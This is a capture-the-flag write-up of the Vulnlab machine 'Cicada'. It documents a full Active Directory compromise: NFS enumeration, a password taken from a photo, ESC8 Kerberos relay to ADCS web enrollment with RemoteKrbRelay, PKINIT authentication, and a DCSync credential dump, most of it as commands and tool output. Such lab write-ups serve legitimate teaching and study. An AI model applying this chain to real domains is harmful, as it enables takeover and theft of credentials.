Post

VL Cicada

Cicada is a medium-difficulty machine on Vulnlab that involves exploiting ESC8 via Kerberos relaying in order to bypass self-relay restrictions.

Enumeration

Port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for 10.10.104.125
Host is up (0.025s latency).
Not shown: 984 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-04 08:51:28Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
2049/tcp open  mountd        1-3 (RPC #100005)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

We see that we are dealing with a domain controller, that there is a web server on port 80 and that there is NFS running. Let’s check out NFS first.

1
2
3
4
showmount -e 10.10.104.125

Export list for 10.10.104.125:
/profiles (everyone)

We mount the directory to check the contents and eventually find some images:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mkdir share
sudo mount -t nfs -o rw,vers=4 10.10.104.125:/profiles $PWD/share

ls -lahR share | grep -B5 png

share/Administrator:
total 1,5M
drwxrwxrwx 2 nobody nogroup   64 Sep 15 15:25 .
drwxrwxrwx 2 nobody nogroup 4,0K Sep 15 15:18 ..
drwx------ 2 nobody nogroup   64 Sep 15 15:25 Documents
-rwxrwxrwx 1 nobody nogroup 1,5M Sep 13 18:12 vacation.png

share/Rosie.Powell:
total 1,8M
drwxrwxrwx 2 nobody nogroup   64 Sep 15 15:25 .
drwxrwxrwx 2 nobody nogroup 4,0K Sep 15 15:18 ..
drwx------ 2 nobody nogroup   64 Sep 15 15:25 Documents
-rwx------ 1 nobody nogroup 1,8M Sep 13 18:09 marketing.png

After downloading the images, we find one is of an employee that has a note with a password on their desk. We try to authenticate with the credentials:

1
2
3
nxc smb 10.10.104.125 -u 'rosie.powell' -p '***'
SMB         10.10.104.125   445    10.10.104.125    [*]  x64 (name:10.10.104.125) (domain:10.10.104.125) (signing:True) (SMBv1:False)
SMB         10.10.104.125   445    10.10.104.125    [-] 10.10.104.125\rosie.powell:*** STATUS_NOT_SUPPORTED

This shows STATUS_NOT_SUPPORTED which is the case because NTLM is not enabled on this domain. In order to get around this, we can authenticate with Kerberos instead (which needs the FQDN instead of the IP, so you will need to add it your hosts file or use the machines DNS server):

1
2
3
nxc smb dc-jpq225.cicada.vl -u 'rosie.powell' -p '***' -k
SMB         dc-jpq225.cicada.vl 445    dc-jpq225        [*]  x64 (name:dc-jpq225) (domain:cicada.vl) (signing:True) (SMBv1:False)
SMB         dc-jpq225.cicada.vl 445    dc-jpq225        [+] cicada.vl\rosie.powell:***

Now the credentials show as valid. At this point we can do some more enumeration like collecting bloodhound data, looking at shares and manually going through LDAP. In this case, it won’t really help though.

The web server on port 80 has just the default IIS page, but if we check /certsrv/ we note that this is the endpoint for the ADCS web enrollment. Without checking the web server, you’d also get this information from certipy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
getTGT.py cicada.vl/rosie.powell:'***' -dc-ip 10.10.104.125
export KRB5CCNAME=rosie.powell.ccache

certipy find -k -no-pass -ns 10.10.104.125 -debug -dc-ip dc-jpq225.cicada.vl
...
[*] Saved text output to '20241004135207_Certipy.txt'
[*] Saved JSON output to '20241004135207_Certipy.json'

cat 20241004135207_Certipy.txt
...
Certificate Authorities
  0
    CA Name                             : cicada-DC-JPQ225-CA
    DNS Name                            : DC-JPQ225.cicada.vl
    Certificate Subject                 : CN=cicada-DC-JPQ225-CA, DC=cicada, DC=vl
    Certificate Serial Number           : 66D35978EDC54F9A492AC71194832260
    Certificate Validity Start          : 2024-10-04 08:43:06+00:00
    Certificate Validity End            : 2524-10-04 08:53:06+00:00
    Web Enrollment                      : Enabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : CICADA.VL\Administrators
      Access Rights
        ManageCertificates              : CICADA.VL\Administrators
                                          CICADA.VL\Domain Admins
                                          CICADA.VL\Enterprise Admins
        ManageCa                        : CICADA.VL\Administrators
                                          CICADA.VL\Domain Admins
                                          CICADA.VL\Enterprise Admins
        Enroll                          : CICADA.VL\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled and Request Disposition is set to Issue
...

If the web enrollment is active and no extra mitigation steps have been taken, it can be exploited by relaying the authentication of a privileged machine (for example a domain controller) to it. This is a pretty common vulnerability and widely known as ESC8. Usually this needs at least 2 machines, where you would relay a domain controller via your own attacker controlled machine to the web endpoint on the CA. Relaying back to the same machine shouldn’t be possible due to self-relay mitigations that have been introduced quite a while ago.

Recent research has shown, that it is still possible to do in this case by relaying Kerberos instead of NTLM.

The attack has been automated in KrbRemoteRelay by Cicada8 Research (hence the name of the machine). Since this runs on Windows and we only have one target machine available, we’ll use a Windows VM to perform the attack.

Since the machine account quota is 10, you could domain join your own Windows VM to run it, but it’s also sufficient to get a TGT & RPCSS TGS, inject it on a non-domain joined windows machine and then run the tool.

For the domain joined way, connect to the VPN and then make sure to set the DNS entry to the Cicada DC. It’s important to keep IPv6 enabled in the adapter or enable if its not yet the case.

Then join the machine to the domain using the credentials of Rosie Powell. After a restart, you can run the tool to get a certificate for the domain controller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

                            /\_/\____,
                  ,___/\_/\ \  ~     /
                  \     ~  \ )   XXX
                    XXX     /    /\_/\___,
                       \o-o/-o-o/   ~    /
                        ) /     \    XXX
                       _|    / \ \_/
                    ,-/   _  \_/   \
                   / (   /____,__|  )
                  (  |_ (    )  \) _|
                 _/ _)   \   \__/   (_
                (,-(,(,(,/      \,),),)

                CICADA8 Research Team
                From Michael Zhmaylo (MzHmO)
[+] Setting UP Rogue COM at port 12345
[+] Registering...
[+] Register success
[+] Forcing Authentication
[+] Using CLSID: d99e6e74-fc88-11d0-b498-00a0c90312f3
[*] apReq: 6082071f06...
[+] Got Krb Auth from NT/System. Relaying to ADCS now...
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, Confidentiality, UseDceStyle, Connection
[+] Received Kerberos Auth from dc-jpq225.cicada.vl with ticket on http/dc-jpq225.cicada.vl
[*] apRep2: 6f5b305...
[+] HTTP session established
[+] Cookie ASPSESSIONIDSSDRDQTA=IHPNGIODCGPMFFNKEE...; path=/
[+] Lets get certificate for "cicada.vl\dc-jpq225$" using "DomainController" template
[+] Success (ReqID: 17)
[+] Certificate in PKCS12: MIACAQ...

Save the resulting base64-encoded certificate on your Linux VM and swap back the VPN:

1
echo -ne "MIACAQ..." | base64 -d > cert.p12

Now we can authenticate via PKINIT:

1
2
3
4
5
6
7
8
9
certipy auth -pfx cert.p12 -dc-ip 10.10.104.125 -domain cicada.vl
export KRB5CCNAME=dc-jpq225.ccache

[*] Using principal: dc-jpq225$@cicada.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:***

We use the resulting ticket to perform a dcsync attack:

1
2
3
4
5
6
export KRB5CCNAME=dc-jpq225.ccache
secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@cicada.vl@dc-jpq225.cicada.vl -just-dc

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0...

Finally you can get a ticket for the administrator user and then WinRM to the machine to read the flag.

If you want to do it without the domain join, you need to still run the VPN on Windows, setup the DNS and then request a TGT and a service ticket for RPCSS (otherwise you’d get “The RPC server is unavailable”):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Rubeus.exe asktgt /user:rosie.powell /domain:cicada.vl /password:*** /dc:10.10.104.125 /ptt /nowrap

Rubeus.exe asktgs /service:RPCSS/dc-jpq225.cicada.vl /dc:10.10.104.125 /ptt /ticket:doI...
...
klist

#0>     Client: rosie.powell @ CICADA.VL
        Server: krbtgt/cicada.vl @ CICADA.VL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 10/4/2024 4:48:38 (local)
        End Time:   10/4/2024 14:48:38 (local)
        Renew Time: 10/11/2024 4:48:38 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

#1>     Client: rosie.powell @ CICADA.VL
        Server: RPCSS/dc-jpq225.cicada.vl @ CICADA.VL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 10/4/2024 4:48:56 (local)
        End Time:   10/4/2024 14:48:38 (local)
        Renew Time: 10/11/2024 4:48:38 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
This post is licensed under CC BY 4.0 by the author.